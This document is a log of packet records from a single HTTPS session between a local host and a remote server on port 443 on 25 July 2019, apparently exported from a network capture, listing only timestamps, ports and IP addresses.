Jul 25, 2019 13:47:16.213633060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.213766098 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.214365005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.215876102 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.216003895 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.216003895 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.216049910 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.216073990 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.216095924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.216119051 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.216147900 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.254309893 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.304442883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.309912920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.310065985 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.310117960 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.310153961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.310179949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.310240984 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.315913916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.316020966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.316031933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.316184044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.316304922 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.318232059 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.318265915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.318361998 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.318442106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.318475008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.318502903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.318540096 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.318588018 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.356466055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.356667995 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.412043095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.412075996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.412136078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.412265062 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.412323952 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.412358046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.412437916 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.418242931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.418268919 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.418368101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.418399096 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.418430090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.418514967 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.420386076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.420409918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.420511007 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.420516968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.420567036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.420595884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.420654058 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.458359003 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.458863974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.458878040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.459038019 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.514692068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.514748096 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.514780045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.514811993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.514842033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.514870882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.515027046 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.520452023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.520509958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.520550013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.520582914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.520629883 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.522406101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.522526026 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.522567034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.522581100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.522605896 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.522694111 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.560679913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.560987949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.561053038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.561113119 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.602205038 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.617233038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.617290974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.617331982 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.617398024 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.617507935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.617549896 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.617589951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.617638111 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.622909069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.622921944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.622931957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.623055935 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.624468088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.624480963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.624663115 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.624986887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.625040054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.625070095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.625214100 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.663836956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.663906097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.664026976 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.704345942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.719824076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.719919920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.720065117 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.720086098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.720146894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.720215082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.720364094 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.725028992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.725056887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.725073099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.725086927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.725183010 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.726782084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.726803064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.726949930 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.727746010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.727782965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.727792025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.727904081 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.766273022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.766403913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.766531944 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.822556973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.822622061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.822660923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.822702885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.822742939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.822812080 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.823194027 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.827439070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.827483892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.827507019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.827529907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.827555895 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.827630997 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.829217911 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.829252958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.829356909 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.829869032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.829907894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.829935074 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.830041885 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.868686914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.868743896 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.868772030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.868951082 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.925278902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.925343037 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.925383091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.925424099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.925467014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.925582886 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.929538012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.929594994 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.929672956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.929707050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.929740906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.929768085 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.930069923 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.931523085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.931575060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.931657076 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.932049036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.932090998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.932101011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.932184935 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.970208883 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:16.970695972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.970731020 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.970747948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:16.970912933 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.027700901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.027836084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.027879953 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.027899027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.027956009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.028028965 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.032052994 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.032087088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.032212019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.032227039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.032316923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.032327890 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.033832073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.033869982 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.034038067 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.034562111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.034574032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.034761906 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.072228909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.072267056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.072463036 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.072961092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.072992086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.073014021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.073250055 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.130362988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.130419016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.130450010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.130475044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.130616903 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.134375095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.134413004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.134440899 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.134464025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.134488106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.134587049 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.136113882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.136145115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.136213064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.136343002 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.137243986 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.137274027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.137412071 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.174568892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.174624920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.174839020 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.175268888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.175302029 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.175324917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.175410032 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.232903004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.232952118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.232975006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.232996941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.233186960 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.236551046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.236591101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.236612082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.236640930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.236661911 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.236798048 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.238511086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.238570929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.238595009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.238702059 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.239346981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.239384890 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.239520073 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.276827097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.276880980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.276905060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.277097940 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.277430058 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.277570963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.277606964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.277672052 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.314300060 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.335553885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.335607052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.335630894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.335654020 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.335818052 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.339111090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.339283943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.339312077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.339339972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.339366913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.339441061 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.340898991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.340951920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.340975046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.341073990 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.341623068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.341876030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.341983080 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.379399061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.379455090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.379483938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.379643917 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.379699945 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.379992962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.380212069 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.416785002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.438076019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.438127995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.438153028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.438184977 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.438345909 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.441766024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.441839933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.441864014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.441895008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.441920996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.441989899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.443670034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.443717957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.443742037 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.443847895 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.444413900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.444446087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.444551945 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.482140064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.482203960 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.482234955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.482259035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.482310057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.482336044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.482382059 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.482494116 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.540462017 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.540514946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.540551901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.540576935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.540601969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.540677071 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.544084072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.544137955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.544171095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.544291019 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.544305086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.545679092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.545789957 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.545872927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.545902967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.545928001 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.545967102 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.546401024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.546430111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.546544075 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.584665060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.584703922 MESZ	443	50056	54.231.120.203	192.168.1.100
